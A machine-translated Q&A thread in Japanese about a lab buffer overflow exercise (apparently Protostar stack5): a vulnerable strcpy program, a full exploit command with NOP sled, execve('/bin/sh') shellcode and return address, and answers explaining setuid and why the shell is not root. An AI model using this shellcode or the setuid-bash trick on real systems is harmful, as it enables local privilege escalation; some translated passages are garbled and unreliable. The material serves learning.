バッファオーバーフロー攻撃でシェルコードをrootとして実行しますか?

バッファオーバーフロー攻撃でシェルコードをrootとして実行しますか?

次のコードを活用しようとしています。

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv){
    char buffer[100];
    strcpy(buffer, argv[1]);

    return 0;
}

次のコマンドを使用してください

./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)")

最初の部分はNOPで、2番目の部分は私が得たシェルコードです。このウェブサイトでなければなりませんexecve("/bin/sh")。最後の部分は返品先住所です。私のプログラムは、すべての保護メカニズムが無効になっている32ビットシステム用にコンパイルされました。スクリプトを実行すると、次の結果が表示されます。

process 15377 is executing new program: /usr/bin/bash

bashルートではなく現在のユーザーとして実行することを意味します。シェルをrootとして実行するためのシェルコードはどこにありますか?これが起こらないようにするには、Linux機能を無効にする必要がありますか?

実行すると、whoamiルートではなく現在のユーザーを取得します。これに「最初の攻撃!シェルコードバッファオーバーフロー – bin 0x0E”ビデオ同じスクリプトを使用してrootアクセス権を付与します。

答え1

スクリプトを実行すると、新しいプログラム /usr/bin/bash を実行するプロセス 15377 が表示されます。これは、bashがrootではなく現在のユーザーとして実行されていることを意味します。

はい、これは「ユーザー」のアイデアが機能する方法です。つまり、プログラムを実行すると、現在のユーザーとして実行されます。

1つは、setuid実行可能ファイルにファイル属性を付与して、現在のユーザーの代わりに常にファイル所有者(おそらくroot)として実行できるようにすることです。論理的な理由から、すでにルートである場合にのみ、このビットをファイルに追加できます。いいえルートになる必要はありません。たとえば、bash 実行可能ファイルのコピーに setuid ビットを割り当てることで、いつでも権限を高めることができます。

これが起こらないようにするには、Linux機能を無効にする必要がありますか?

これは特定の機能ではなく、1970年代のUNIX以降の「ユーザー」の概念を文字通り意味しています。

idその人の出力では、グループはルートですが、有効なグループはルートではないことがわかります。したがって、脆弱なファイルはすでにsetuid / setgidビットが設定された状態で実行されています!ファイルのプロパティ()を確認すると、どのビットが設定されているかをls -l /…/stack-five確認できます。s

したがって、どのプロセスの権限も昇格できません。最初から存在していましたが、今はプロセスを悪用してそれを悪用することができます。

答え2

いいえ、直接ログインして操作を実行し、ルートシェル(昇格された権限)を取得することはできません。 (カーネルで脆弱性が見つからない限り)あなたは(理論的に)できる それがすることは、すでにrootとして実行されているプロセスを攻撃するだけです。だからあなたは可能vulnプログラムを root で実行するか、root  sudoに切り替えて setUID ビットをオンにすると、root シェルを取得できます。これは不正行為のように見えるかもしれませんが、脆弱なシステムプログラムへの攻撃をシミュレートしています。

上の写真ではよく見えませんが、初めて使用します!シェルコードバッファオーバーフロー – bin 0x0E接続されたビデオですが動作する唯一の方法(結果を表示する唯一の方法)は、Marcus Müllerが言ったように、プログラムが  /opt/protostar/bin/stack5UIDをrootに設定することです。次のようなフレーズが見つかりました。

ただし、stack5バイナリはrootユーザーが所有し、setuidビットが設定されていますが、rootシェルではありません。

存在するエクスプロイト練習 – Protostar – Stack5 / 最初のエクスプロイト 音のない失敗の中で。

問題があります。ルートとしてシェルを実行すると、ルートシェルが提供されないことがあります。私はあなたにこれを研究するように招待し、励まします。 「スクリプトキディ」になりたくない場合は、資料を調べる方法を学ぶ必要があります。しかし、ここにあなたのためのナビゲーションパスがあります。 .it  /bin/idの代わりに直接実行されるように "シェルコード"を変更してみてください。/bin/sh可能ルートシェルが取得できない場合でも、root 権限を取得したことを示します。

関連情報